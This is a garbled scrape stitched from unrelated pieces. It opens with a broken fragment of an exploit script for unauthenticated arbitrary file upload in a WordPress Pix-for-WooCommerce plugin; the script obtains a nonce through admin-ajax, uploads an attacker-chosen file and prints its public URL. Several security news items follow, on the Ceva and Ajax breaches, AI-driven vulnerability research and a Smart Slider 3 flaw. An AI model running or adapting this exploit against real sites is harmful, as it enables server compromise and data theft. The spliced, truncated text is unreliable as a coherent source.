ajax

Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload Google Dork: N/A Date: 2026-07-15 Exploit Author: Mohammad Hossein Sadeghian Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ Version: ' session = requests.Session() print("\n[*] Requesting nonce...") try: response = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_generate_nonce", "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce" }, timeout=10 ) result = response.json() nonce = result["data"]["nonce"] print(f"[+] Nonce obtained: {nonce}") except Exception as e: print(f"[-] Failed to obtain nonce: {e}") sys.exit(1) print(f"[*] Uploading {filename}...") try: response = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_c6_save_settings", "_ajax_nonce": nonce }, files={ "certificate_crt_path": ( filename, content, "text/plain" ) }, timeout=10 ) result = response.json() if not result.get("success"): print("[-] Upload failed.") print(response.text) sys.exit(1) except Exception as e: print(f"[-] Upload error: {e}") sys.exit(1) uploaded_url = ( f"{target}/wp-content/plugins/" f"payment-gateway-pix-for-woocommerce/" f"Includes/files/certs_c6/{filename}" ) print("\n[+] File uploaded successfully!") print(f"[+] URL: {uploaded_url}") if name == "main": main()

Cyberattack on logistics giant Ceva hits retailers and Steam customers across Europe A cyberattack on global freight company Ceva Logistics has reportedly disrupted shipments for major European retailers and potentially exposed customer data belonging to users of a popular video game platform. Ceva has not publicly disclosed the attack and did not respond to a request for comment. However, according to media reports, the company notified corporate clients earlier this month that a cyber intrusion was affecting part of its contract logistics business. The incident reportedly disrupted operations at eight warehouses in Europe, causing shipping delays for retailers whose inventory was stored at the affected facilities. Companies reported to have been affected include Dutch e-commerce giant Bol, luxury department store De Bijenkorf, eyewear company Ace & Tate and Amsterdam football club Ajax, as well as Steam’s hardware business in Europe. The full scope of the breach remains unclear, including the locations of the eight affected warehouses. Ceva has not said who was behind the attack or whether the hackers demanded a ransom. Retail victims Ceva informed Bol, the e-commerce platform, about the cyberattack on August 1, according to a notification Bol sent to affected customers that was subsequently reported by Dutch media. The company said an investigation found that cybercriminals had gained access to two Ceva systems used to process orders from one of Bol's distribution centers and did not affect the company's own systems. Products stored at affected locations were temporarily taken offline, while some customer orders were delayed or canceled. Bol also suspended data exchanges with Ceva as a precaution, saying they would resume only when it was safe to do so. The compromised Ceva systems reportedly contained customer and shipment information. Bol told affected customers that information stored in those systems at the time of the attack may have been viewed or copied by unauthorized parties. Potentially exposed data included names, addresses, postal codes, telephone numbers, email addresses, order numbers, tracking information and purchase details. Some records could also contain messages attached to gift cards. Bol said Ceva took steps to stop the unauthorized access after discovering the breach and brought in outside cybersecurity specialists to investigate. Other Ceva customers reportedly affected include Ajax, the Amsterdam football club for which the logistics company handles merchandise and online orders, and Dutch eyewear company Ace & Tate. Ceva’s Dutch operations also serve other major brands. The company says on its website that it operates eight e-commerce locations in the Netherlands and identifies Bol, Zalando and De Bijenkorf among the customers served by its operations there. De Bijenkorf warned customers last week that a cyberattack on one of its logistics providers had caused delays to orders, returns and refunds and could have exposed customer data. FreightWaves, a transportation news and data provider, reported, citing a source familiar with the investigation, that no Ceva systems beyond the eight warehouses were affected. The company's air, ocean, ground and rail transportation management operations continued without disruption, according to the report. Steam customers warned One of the most detailed accounts of the breach has come from Valve, the U.S. video game company behind Steam gaming platform. Valve began notifying European customers on Monday that information associated with purchases of physical Steam hardware may have been compromised because Ceva handles the company's shipments in Europe. Ceva receives customer delivery information from Valve and can retain those records for up to 90 days after an order, according to the notification. Valve said it could not determine precisely which records the attackers obtained and therefore notified customers whose information it could reasonably assume may have been affected. The potentially compromised information includes customers' names, street addresses, postal codes, cities, countries, telephone numbers and email addresses, as well as the type and price of Steam hardware they ordered. “We're pressing Ceva for the full scope of what was taken and how, and we are in the process of notifying the data protection authorities in the countries affected,” Valve said. There has been no public attribution for the attack so far, and it remains unclear whether ransomware was deployed or whether the hackers made an extortion demand. Ceva Logistics, headquartered in France, is one of the world's largest logistics and supply chain companies. It employs about 110,000 people and operates more than 1,700 facilities worldwide. Daryna Antoniuk is a reporter for Recorded Future News based in Ukraine. She writes about cybersecurity startups, cyberattacks in Eastern Europe and the state of the cyberwar between Ukraine and Russia. She previously was a tech reporter for Forbes Ukraine. Her work has also been published at Sifted, The Kyiv Independent and The Kyiv Post.

AI is changing how vulnerability research gets done, but most of the conversation is still theoretical: what a model might eventually be capable of, rather than what it can actually find today. We wanted to answer a more practical question: using the models already available to us right now, how far can AI take us in finding real, exploitable vulnerabilities in production software? This piece details how the team at Intruder is using LLMs to find novel vulnerabilities using code scanning frameworks alongside current, pre-Mythos models. We walk through a remote, multi-stage SQL injection zero-day we discovered in a WordPress plugin with over 300,000 users — fully automated from discovery through exploitation, with no human in the loop. The focus problem: why pointing AI at a whole codebase doesn't work The big problem when pairing AI with a code scanner is focus. LLMs are excellent at taking small segments of code, or a description of a specific problem, and finding an interesting solution. But point one at a large codebase and ask it to find security issues, and it will try to ingest every file in the repo. That's expensive in tokens, and worse for accuracy: by the time the model is halfway through, its context is full of irrelevant code, and the bug you actually want is buried in noise. For more complex bugs that require chaining several steps together, you're then relying on the framework to keep the right context in memory, or retrieve it intelligently when needed. In our experience, that produces poor output rather than real and interesting bugs. Traditional code scanning frameworks already solve this. We use a technique we're calling a program slice, which is similar to when an IDE or LSP tool uses features like "find implementation" or a call graph to find all functions called by the current function. These are mature, well-tested tools, and they sidestep the diluted-context problem entirely. Intruder's AI pentesting agents deliver the depth of a manual engagement on-demand: no lead time, no scoping calls, a fraction of the cost. Test with every release, close your window of exposure, and get an audit-ready report in hours. Book a Demo Our pipeline: from codebase to working exploit We built a pipeline that takes a codebase, runs it through a code scanning engine (we use Joern), generates slices of code relevant to each finding, and uses an LLM to triage and exploit the issue. The design was inspired by nooperator's work on Slice, though we use Joern rather than CodeQL and designed the slicing algorithm quite differently to handle the specific vulnerability classes we’re looking for. We pointed it at the top 200 WordPress plugins — code that's already heavily picked over by bug bounty researchers, so finding something real there would mean the process can compete with skilled humans. First, Joern runs against the codebase with rules designed to flag broadly "interesting" patterns — this is deliberately loose to avoid creating rules that are too specific and might miss bugs. Since we have the triage agent filtering later anyway, we can err on the side of false positives. For this experiment we were after unauthenticated WordPress plugin attack surface, so we had Joern identify every place a script can be affected by user input: REST routes, template hooks, nopriv AJAX calls, and so on. For each WordPress hook, Joern generates a slice: the function the hook calls, every method that function calls, and so on down the chain. Basic taint tracking rules out obviously safe functions, such as SQL and XSS inputs that go through a known-safe sanitizer. Where we can verify statically that the code is safe to run, we drop those passing onto an LLM. Each slice goes to a lightweight triage model (Sonnet, in our tests) to filter out the obviously uninteresting: hooks that are meant to be public and have no side effects, for example. What's left goes to a heavier model (Opus) to assess exploitability, with the full relevant call context in memory so it isn't hunting through unrelated source. Anything judged exploitable goes to a final exploitation agent to try and write an exploit. This agent has access to full source again (if needed) since it can now use targeted searches to find relevant code, and it will also spin up a Docker container running the software to test while developing. The first vulnerability: a blind SQL injection in a popular WordPress plugin The first bug the pipeline vended was CVE-2026-3985, a SQL injection vulnerability in the Creative Mail plugin. It stood out to us for a few reasons: It’s high impact, giving an attacker read access to the database (including admin hashes and secret tokens!) It requires multiple chained requests to exploit, making it less likely to be detected by traditional tooling The root cause was hidden from the developer's own static analysis tooling by a mistake in their code Exploitation does require WooCommerce to be installed alongside Creative Mail, but since WooCommerce is a common reason people run WordPress (over 7 million active installs), the combination is common. The exploitation agent one-shotted a working proof-of-concept, producing a check to confirm the issue existed and a full extraction method capable of pulling password hashes from the database. This vulnerability was also found independently by Dmitrii Ignatyev of CleanTalk Inc., who reported it to Wordfence. The plugin has been pulled from the WordPress store pending review; if you're running Creative Mail alongside WooCommerce, disable it until a patch is available. For the full technical details, see our write-up. Discovery is getting faster. Detection has to keep up This is just the first vulnerability the pipeline has vended. We're already finding more and reporting them to affected vendors (those are still under disclosure). AI clearly has a growing role to play in vulnerability research, and the work now is building the frameworks to get the most out of current models. Attackers are already using similar tooling to feed AI high-signal input, which means the same speed advantage we've demonstrated here isn't unique to defenders. Vulnerabilities surfaced by our vending machine become detection checks in the Intruder platform, so your next scan finds and reports them. Author: Sam Pizzey, Security Engineer, Intruder Sam Pizzey is a Security Engineer at Intruder. Previously a pentester a little too obsessed with reverse engineering, currently focused on ways to detect application vulnerabilities remotely at scale. Sponsored and written by Intruder.

Police arrest suspect in Ajax football club hack that exposed 300,000 fan records The Dutch National Police arrested a man suspected of hacking into the computer systems of AFC Ajax, a football club from Amsterdam. “On the morning of Tuesday, May 26, detectives arrested a 35-year-old man from the municipality of Buren for computer intrusion at the Amsterdam football club Ajax. The man is suspected of intentionally and unlawfully entering Ajax’s computer systems multiple times ,” the police said. The investigation began after AFC Ajax discovered unauthorized access to its computer systems earlier this year. Dutch police traced the intrusion to a suspect from the municipality of Buren and arrested him following the investigation. During the search, police seized various data carriers for further investigation. Ajax disclosed the intrusion on March 25, 2026, saying the attack exploited vulnerabilities in the club’s app and website, including exposed APIs and shared access keys. The suspected hacker first approached an RTL journalist and shared details about the vulnerabilities. The journalist later demonstrated that tickets could be transferred to other users and that stadium bans could be modified. According to RTL, the vulnerabilities exposed private data belonging to more than 300,000 registered Ajax fans and could have allowed attackers to steal or disable more than 42,000 season tickets. RTL also reported that the flaws exposed information on 538 supporters with active stadium bans. AFC Ajax has since patched the vulnerabilities exploited in the attack and reported the incident to Dutch police and the country’s data protection authority.

Dutch police arrest man over cyber breach at Ajax football club Dutch police arrested a 35-year-old man suspected of illegally accessing the computer systems of Ajax, one of the Netherlands’ most prominent football clubs. The suspect was detained in the central Dutch town of Buren, where law enforcement officers also searched his home and seized multiple digital storage devices, according to a statement released Tuesday by the Dutch National Police. “The man is suspected of intentionally and unlawfully entering Ajax’s computer systems multiple times,” police said. Authorities did not disclose the suspect’s identity or provide details about a possible motive. The arrest follows a data breach disclosed by Ajax in March, when a hacker exploited an unpatched vulnerability to gain access to the club’s systems. At the time, Ajax said the intrusion exposed the email addresses of several hundred individuals and limited personal information belonging to a small number of people subject to stadium bans. The vulnerability also could have allowed the attacker to transfer tickets and alter stadium-ban records, the club said. Dutch broadcaster RTL previously reported that the scale of the breach may have been significantly larger. RTL said the incident potentially exposed personal information belonging to more than 300,000 registered Ajax supporters and could have affected more than 42,000 season tickets. Following the breach, Ajax said it had patched the vulnerability and launched an investigation. Sports organizations have increasingly become targets for cybercriminals seeking financial gain. In 2024, Italian soccer club Bologna FC 1909 disclosed a ransomware attack that resulted in the theft of company data, including financial documents, player medical records and confidential employee information. Other recent incidents have affected Paris Saint-Germain FC, which reported a cyberattack targeting its online ticketing service in 2024, and Manchester United FC, which suffered a ransomware incident in 2020. National football associations have also faced attacks. The Royal Dutch Football Association experienced a ransomware incident in 2023, and the French Football Federation disclosed a cyberattack in 2025. Daryna Antoniuk is a reporter for Recorded Future News based in Ukraine. She writes about cybersecurity startups, cyberattacks in Eastern Europe and the state of the cyberwar between Ukraine and Russia. She previously was a tech reporter for Forbes Ukraine. Her work has also been published at Sifted, The Kyiv Independent and The Kyiv Post.

The Dutch National Police arrested a 35-year-old man suspected of hacking the professional football club Ajax Amsterdam (AFC Ajax) earlier this year. The suspect was arrested in Buren and, according to a Tuesday press release, he is believed to have hacked into the football club's systems multiple times. "On the morning of Tuesday, May 26, the police arrested a 35-year-old man from the municipality of Buren for computer trespassing at the Amsterdam football club Ajax. The man is suspected of deliberately unlawful intrusion into Ajax's computer systems several times," the police said. "In early 2026, Ajax was confronted with the computer trespass after the suspect granted himself access to the football club's computer systems. After the police were informed, the criminal investigation department started an investigation in which the suspect from the municipality of Buren came into the picture." AFC Ajax disclosed the incident in late March, saying that the attacker exploited vulnerabilities in its IT systems to access data belonging to a few hundred individuals. The vulnerability also allowed modifying stadium bans imposed on fewer than 20 individuals and transferring purchased tickets to others. According to an RTL report, the same security flaw also enabled broad access to fan data via APIs and shared keys, with the hacker demonstrating how they could reassign a VIP season ticket in seconds. Most worryingly, they also demonstrated how they could manipulate 538 supporter stadium bans, 42,000 season tickets, and view details on more than 300,000 accounts. The Dutch football club has since patched vulnerabilities exploited in the attack and has notified the Dutch Data Protection Authority and the police of the incident. In September 2025, the Dutch National Police also arrested two teenage boys suspected of spying for Russia using a WiFi sniffer device near Europol and Eurojust offices, as well as the Canadian embassy. More recently, financial crime investigators in the Netherlands (FIOD) arrested two men and seized 800 servers linked to a web hosting company that enabled cyberattacks, interference operations, and disinformation campaigns. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

SAAS Salesforce partners not seeing meaningful revenue from Agentforce AI platform, report saysShow us the money ai and ml AI companies are burning books, advocates complain to FTCFahrenheit 203, the temperature GPUs stop gorging on literature DEVOPS Go updates may delight diehard gophers but displease AI overlordsv 1.27 expands generics to support methods EDGE AND IOT Waymo has designed a robocar chip to stay ahead of Tesla5 nm ML accelerators promise 1,000+ TOPS, ultra-low latency SYSTEMS AMD inches closer to its goal of making AI suck less ... energyHouse of Zen claims latest systems already 4x more efficient than two years ago Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server

A vulnerability in the Smart Slider 3 WordPress plugin, active on more than 800,000 websites, can be exploited to allow subscriber-level users access to arbitrary files on the server. An authenticated attacker could use it to access sensitive files, such as wp-config.php, which includes database credentials, keys, and salt data, creating the risk for user data theft and complete website takeover. Smart Slider 3 is one of the most popular WordPress plugins for creating and managing image sliders and content carousels. It offers an easy-to-use drag-and-drop editor and a rich set of templates to choose from. The security issue, tracked as CVE-2026-3098, was discovered and reported by researcher Dmitrii Ignatyev and impacts all versions of the Smart Slider 3 plugin through 3.5.1.33. It received a medium severity score due to requiring authentication. However, this only limits the impact to websites with membership or subscription options, a feature that is common on many platforms these days. The vulnerability stems from missing capability checks in the plugin’s AJAX export actions. This allows any authenticated user, including subscribers, to invoke them. According to researchers at WordPress security company Defiant, the developer of the Wordfence security plugin, the 'actionExportAll' function lacks file type and source validation, thus allowing arbitrary server files to be read and added to the export archive. The presence of a nonce does not prevent abuse because it can be obtained by authenticated users. “Unfortunately, this function does not include any file type or file source checks in the vulnerable version. This means that not only image or video files can be exported, but .php files can as well,” says István Márton, a vulnerability research contractor at Defiant. “This ultimately makes it possible for authenticated attackers with minimal access, like subscribers, to read any arbitrary file on the server, including the site’s wp-config.php file, which contains the database credentials as well as keys and salts for cryptographic security.” 500K websites still vulnerable On February 23, Ignatyev reported his findings to Wordfence, whose researchers validated the provided proof-of-concept exploit and informed Nextendweb, the developer of Smart Slider 3. Nextendweb acknowledged the report on March 2 and on March 24 delivered a patch with the release of Smart Slider version 3.5.1.34. According to WordPress.org stats, the plugin was downloaded 303,428 times over the past week. This means that at least 500,000 WordPress sites are running a vulnerable version of the Smart Slider 3 plugin and are exposed to attacks. CVE-2026-3098 is not flagged as actively exploited as of writing, but the status may change soon, so prompt action is required by website owners/administrations. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Week in review: NIST updates DNS security guidance, compromised LiteLLM PyPI packages Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: NIST updates its DNS security guidance for the first time in over a decade DNS infrastructure underpins nearly every network connection an organization makes, yet security configurations for it have gone largely unrevised at the federal guidance level for more than twelve years. NIST published SP 800-81r3, the Secure Domain Name System Deployment Guide, superseding a version that dates to 2013. The document covers three main areas: using DNS as an active security control, securing the DNS protocol itself, and protecting the servers and infrastructure that run DNS services. Attackers are exploiting RCE vulnerability in BIG-IP APM systems (CVE-2025-53521) A critical unauthenticated remote code execution vulnerability (CVE-2025-53521) in F5’s BIG-IP Access Policy Manager (APM) solution is under active exploitation, the US Cybersecurity and Infrastructure Security Agency warned on Friday. Your AI agents are moving sensitive data. Do you know where? In this Help Net Security interview, Gidi Cohen, CEO at Bonfy.AI, addresses what he sees as the most pressing gap in AI agent security: data-layer risk. While the industry focuses on prompt injection and model behavior, Cohen argues the deeper threat is autonomous AI agents operating across systems with no visibility into what data they access, combine, or expose. Quantum threats are already active and the defense response remains fragmented Enterprises are moving toward post-quantum security at uneven speeds, and the gap between organizations that have built crypto-agility into their infrastructure and those that have adopted the label without the underlying capability is widening. Dr. Tan Teik Guan, CEO of Singapore-based cybersecurity company pQCee, draws a sharp line between the two. Crypto-agility, in his view, requires more than support for multiple algorithms or protocol-level negotiation. Measuring security performance in real-time, not once a quarter Most organizations have invested heavily in security products over the past decade. The assumption embedded in that spending is that more tools equal better protection. Tim Nan, CEO of digiDations, says that assumption is the most persistent misconception he encounters when working with security leaders across industries. NVIDIA puts GPU orchestration in community hands GPU-accelerated AI workloads now run on Kubernetes in the large majority of enterprise environments. Managing those workloads at scale has required specialized tooling that, until now, remained under vendor control. NVIDIA moved to change that at KubeCon Europe in Amsterdam this week, donating its Dynamic Resource Allocation (DRA) Driver for GPUs to the Cloud Native Computing Foundation (CNCF). TeamPCP strikes again: Backdoored Telnyx PyPI package delivers malware TeamPCP continues is supply chain compromise rampage, with telnyx on PyPI being the latest maliciously modified package. The AI safety conversation is focused on the wrong layer Organizations have spent years accumulating fragmented identity systems: too many roles, too many credentials, too many disconnected tools. For a workforce of humans, that fragmentation was manageable. Humans log in, log out, and make decisions slowly enough that gaps in control rarely turned into immediate incidents. AI agents operate differently. Training an AI agent to attack LLM applications like a real adversary Most enterprise software development teams now ship AI-powered applications faster than traditional penetration testing can keep up with. A security team with 500 applications may test each one once a year, or less. In the time between tests, the underlying models, integrations, and behaviors can change, with no corresponding security review. Novee launched a product it calls AI Red Teaming for LLM Applications, an AI pentesting agent built specifically to probe LLM-powered software. Your facilities run on fragile supply chains and nobody wants to admit it In this Help Net Security interview, Christa Dodoo, Global Chair at IFMA, discusses how facility managers are managing supply chain risk in critical building systems. She explains how sourcing, localized redundancy, and flexible infrastructure design are being integrated into resilience planning. A nearly undetectable LLM attack needs only a handful of poisoned samples Prompt engineering has become a standard part of how large language models are deployed in production, and it introduces an attack surface most organizations have not yet addressed. Researchers have developed and tested a prompt-based backdoor attack method, called ProAttack, that achieves attack success rates approaching 100% on multiple text classification benchmarks without altering sample labels or injecting external trigger words. AI SOC vendors are selling a future that production deployments haven’t reached yet Vendors selling AI-powered security operations platforms have built their pitches around a consistent set of promises: autonomous threat investigation, dramatic reductions in analyst workload, and an accelerating path toward humanless operations. Practitioners buying and deploying those platforms describe something different. Top product launches at RSAC 2026 RSAC 2026 showcased a wave of innovation, with vendors unveiling technologies poised to redefine cybersecurity. From AI-powered defense to breakthroughs in identity protection, this year’s conference delivered a glimpse into the future. Here are the most interesting products that caught our attention, and could shape what’s next. Oracle issues emergency fix for pre-auth RCE in Identity Manager (CVE-2026-21992) Oracle has released an out-of-band patch for a critical and easily exploitable vulnerability (CVE-2026-21992) in Oracle Identity Manager and Oracle Web Services Manager. The company did not say whether the vulnerability has been exploited as a zero-day, but has urged customers to apply the updates or provided mitigations as soon as possible. GitHub-hosted malware campaign uses split payload to evade detection A large-scale malware delivery campaign has been targeting developers, gamers, and general users through fake tools hosted on GitHub, Netskope researchers have warned. These “lures” are highly polished and appear legitimate, occasionally mimicking real projects, thus making them difficult to distinguish from safe software. Critical NetScaler ADC, Gateway flaw may soon be exploited (CVE-2026-3055) Citrix has fixed two vulnerabilities in NetScaler ADC and NetScaler Gateway, with the more serious flaw (CVE-2026-3055) potentially allowing attackers to extract active session tokens from the memory of affected devices. LiteLLM PyPI packages compromised in expanding TeamPCP supply chain attacks A slew of supply chain attacks against popular open source tools and packages appears to have been orchestrated by TeamPCP, a cybercriminal group that rose to prominence in late 2025. The latest victim of the group is BerryAI’s popular LiteLLM library, a unified interface that makes it easier for apps to switch between various LLMs: on March 24, TeamPCP uploaded two compromised versions (1.82.7 and 1.82.8) on PyPI that included a credential stealer and a malware dropper. Researchers release tool to detect stealthy BPFDoor implants in critical infrastructure networks Telecommunications providers around the world have been dealing with the burrowing efforts of the China-linked APTs for many years now. To help them identify hard-to-detect implants used by the China-based group dubbed Red Menshen, Rapid7 researchers have released a scanning script. CISA sounds alarm on Langflow RCE, Trivy supply chain compromise after rapid exploitation The US Cybersecurity and Infrastructure Security Agency (CISA) has added two new vulnerabilities to its Known Exploited Vulnerabilities catalog: CVE-2026-33017, a recently disclosed code injection vulnerability in Langflow, an open-source framework for building AI agents and workflows, and CVE-2026-33634, an embedded malicious code vulnerability in Aqua Security’s Trivy security scanner. Product showcase: Cross-platform and third-party endpoint patching with Action1 Keeping endpoints patched is one of the more annoying chores in IT operations. Action1 is a cloud-based autonomous endpoint management platform that addresses this challenge head-on, covering third-party apps and OS updates (Windows, macOS, and now Linux) from a single, centralized console. You don’t have to choose between BAS or automated pentesting, you shouldn’t There’s a debate making the rounds in security circles that sounds reasonable on the surface but falls apart under operational scrutiny: Which is better, breach and attack simulation (BAS) or automated penetration testing (APT)? Security vendors have stoked this debate for obvious reasons, with some even explicitly arguing that automated pentesting should replace BAS entirely. But for practitioners responsible for defending an organization, this framing is the problem. It represents a coverage regression disguised as simplification. Why your phishing simulations aren’t building a security culture Security culture isn’t built by phishing simulations. In this Help Net Security video, Dan Potter, VP of Cyber Resilience at Immersive, argues that annual training videos and quarterly phishing tests happen in calm, controlled settings that tell us nothing about how people perform when a real incident hits. Russian hackers go after high-value targets through Signal Russian intelligence-linked hackers are targeting commercial messaging platforms, with Signal a primary focus, the FBI and CISA warn. The campaign is aimed at individuals of intelligence interest, including government personnel, journalists, and others with access to sensitive communications. The devices winning the race to get hacked in 2026 Enterprise networks keep adding connected devices, expanding the attack surface as threat actors target a wider range of systems, many of which are difficult to inventory, secure, and patch consistently. Forescout’s 2026 Riskiest Devices research maps that shift in IT, IoT, OT, and IoMT environments, with 11 new riskiest asset types entering the list this year. GitHub just made it much harder to ship a vulnerable pull request GitHub is expanding its application security capabilities with AI-powered security detections designed to identify risks earlier in the development process, with public preview planned for early Q2. The update is intended to improve code scanning, secret detection, and dependency analysis within repositories hosted on the platform. 32% of top-exploited vulnerabilities are over a decade old Exploitation timelines continued to compress in enterprise environments, with newly disclosed flaws reaching active use almost immediately and older weaknesses remaining active years after disclosure. Findings from Cisco Talos’ 2025 Year in Review show how attackers combined rapid weaponization with long-term exposure spanning infrastructure, identity systems, and user workflows. Russian initial access broker helped ransomware gangs extort millions, sentenced to 81 months A Russian citizen, Aleksei Volkov, was sentenced to 81 months in prison for helping ransomware groups carry out attacks causing over $9 million in actual losses and over $24 million in intended losses, after being arrested in Italy and extradited to the United States where he pleaded guilty. Uncle Sam closes the door on all new foreign-made routers The US Federal Communications Commission (FCC) has imposed a ban on all new routers manufactured overseas being imported into and sold within the United States. The move follows a determination by a White House-led interagency group that consumer-grade routers produced outside the United States pose what officials described as an “unacceptable risk” to national security and public safety. Anthropic trims action approval loop, lets Claude Code make the call Auto mode is a new permissions feature in the Claude Code system that allows the AI to make approval decisions on a user’s behalf while safeguards review actions before execution. The feature is available on Team plans and requires administrator approval before use, with support for Enterprise and API users expected soon. Gemini picks up criminal activity buried in dark web noise To help teams make faster and more accurate decisions on emerging threats, Google has introduced a dark web intelligence capability in Google Threat Intelligence. Powered by Gemini, the feature analyzes millions of dark web events each day and surfaces threats relevant to an organization’s operations. Botnet operator behind $14 million in ransomware extortion payments gets 24 months behind bars A Russian national has been sentenced to 24 months in prison after admitting he managed a botnet used to launch ransomware attacks against dozens of U.S. companies. The judge also imposed a $100,000 fine and ordered him to forfeit $1.6 million linked to the scheme. Google races to secure encryption before quantum threats arrive Google is preparing for the quantum era, a turning point in digital security, with a 2029 timeline for post-quantum cryptography (PQC) migration. Security professionals warn that current encryption could be broken by large-scale quantum computers in the coming years. This risk is already relevant due to store-now-decrypt-later attacks. Mission to smuggle $170 million worth of AI tech to China collapsed for three men Three individuals, Stanley Yi Zheng, Matthew Kelly, and Tommy Shad English, have been charged with conspiracy to commit smuggling and export control violations after allegedly attempting to procure millions of dollars’ worth of restricted computer chips from a California-based hardware company. Second RedLine infostealer operator ends up in US custody Hambardzum Minasyan, an Armenian man extradited to the United States, is accused of conspiring with others to develop and operate the RedLine infostealer malware used to steal sensitive data, including login credentials, from victims’ computers. Ajax data breach exposed season tickets, supporter bans open to tampering AFC Ajax, the Dutch football club from Amsterdam, disclosed that an unknown hacker gained access to parts of its IT systems and obtained the email addresses of a few hundred people. The hack exploited vulnerabilities in Ajax’s app and website, including exposed APIs and shared access keys. Plumber: Open-source scanner of GitLab CI/CD pipelines for compliance gaps GitLab CI/CD pipelines often accumulate configuration decisions that drift from security baselines over time. Container images get pinned to mutable tags, branches lose protection settings, and required templates go missing. An open-source tool called Plumber automates the detection of those conditions by scanning pipeline configuration and repository settings directly. Attackers are handing off access in 22 seconds, Mandiant finds Exploits remain the leading entry point for attackers for the sixth consecutive year, according to Mandiant’s M-Trends 2026 report, which draws on more than 500,000 hours of incident response work conducted in 2025. The data shows attackers speeding up their internal hand-offs, shifting away from email phishing, and targeting backup and virtualization infrastructure with greater precision. Microsoft details AI prompt abuse techniques targeting AI assistants Prompt abuse occurs when crafted inputs manipulate an AI system into producing unintended behavior, such as attempting to access sensitive information or overriding built-in safety instructions. Prompt injection is also recognized as one of the top risks in the 2025 OWASP guidance for LLM applications. Kali Linux 2026.1 ships BackTrack mode, eight new tools, and a kernel upgrade to 6.18 Penetration testers running Kali Linux have a new release to work with. Version 2026.1 delivers the annual theme refresh, a new BackTrack-inspired mode in kali-undercover, eight tools added to the network repositories, a kernel bump to 6.18, and several Kali NetHunter changes. Your security stack looks fine from the dashboard and that’s the problem One in five enterprise endpoints is operating outside a protected and enforceable state on any given day, according to device telemetry collected across tens of millions of corporate PCs. That figure, drawn from Absolute Security’s 2026 Resilience Risk Index, has barely moved in a year, even as organizations continue to add security tools and increase spending. Google’s TurboQuant cuts AI memory use without losing accuracy Large language models carry a persistent scaling problem. As context windows grow, the memory required to store key-value (KV) caches expands proportionally, consuming GPU memory and slowing inference. A team at Google Research has developed three compression algorithms: TurboQuant, PolarQuant, and Quantized Johnson-Lindenstrauss (QJL). All three are designed to compress those caches aggressively without degrading model output quality. Microsoft hands Entra ID users new option for MFA Organizations rely on MFA to enforce identity checks before granting access to systems and services. Microsoft has made external MFA generally available in Microsoft Entra ID, expanding support for third-party identity providers. External MFA supports organizations that use third-party MFA solutions to meet regulatory or business requirements, handle scenarios such as mergers and acquisitions, or maintain a consistent MFA approach within Microsoft Entra ID. Unbreakable Enterprise Kernel 8.2 ships with confidential computing support, XFS live repair Many enterprise Linux deployments rely on hardware-level memory isolation to protect sensitive workloads from co-tenants and compromised hypervisors. Oracle’s Unbreakable Enterprise Kernel 8.2 (UEK 8.2) extends that capability on Oracle Linux with support for Intel Trust Domain Extensions, along with a set of file system and memory management changes intended to reduce downtime and improve diagnostic visibility. Who owns AI agent access? At most companies, nobody knows AI agents are operating across production enterprise environments at scale, and the identity infrastructure managing their access has not kept up with their deployment. A January 2026 survey of 228 IT and security professionals, conducted by the Cloud Security Alliance, finds that the majority of organizations have AI agents active in core systems, with fragmented ownership of how those agents authenticate and what they can access. Reddit declares war on bad bot activity Reddit is introducing changes to support interactions between people. The company is taking a bottom-up approach to help users understand when they are engaging with another person unless an account is labeled otherwise. Reddit plans to verify that users are human without requiring disclosure of real-world identity. GitHub jumps on the bandwagon and will use your data to train AI GitHub updated how it uses data to improve AI-powered coding assistance. Starting April 24, interaction data from Copilot Free, Pro, and Pro+ users may be used to train and improve GitHub’s models unless users opt out. Copilot Business and Copilot Enterprise users are not included in this change. Tails 7.6 ships automatic Tor bridge retrieval and a new password manager Tails 7.6 is out, and for users operating on networks that block Tor, the most consequential addition is built-in bridge retrieval. The Tor Connection assistant can now detect when a direct connection to Tor is restricted and automatically request bridges suited to the user’s region. The request goes through the Tor Project’s Moat API, and the connection to that API is disguised via domain fronting, making it appear as traffic to an ordinary website. Make OpenAI’s models misbehave and earn a reward OpenAI’s public Safety Bug Bounty program focuses on AI abuse and safety risks across its products. The goal is to support safe and secure systems and reduce the risk of misuse that could lead to harm. This program complements the Security Bug Bounty. It accepts reports of abuse and safety risks that do not meet the criteria for a security vulnerability. AI frenzy feeds credential chaos, secrets leak through code, tools, and infrastructure Code keeps moving through pipelines, and credentials continue to surface alongside it. GitGuardian’s State of Secrets Sprawl 2026 puts the count at 28.65 million new hardcoded secrets in public GitHub commits in 2025, extending a multi-year rise in exposed access keys, tokens, and passwords. 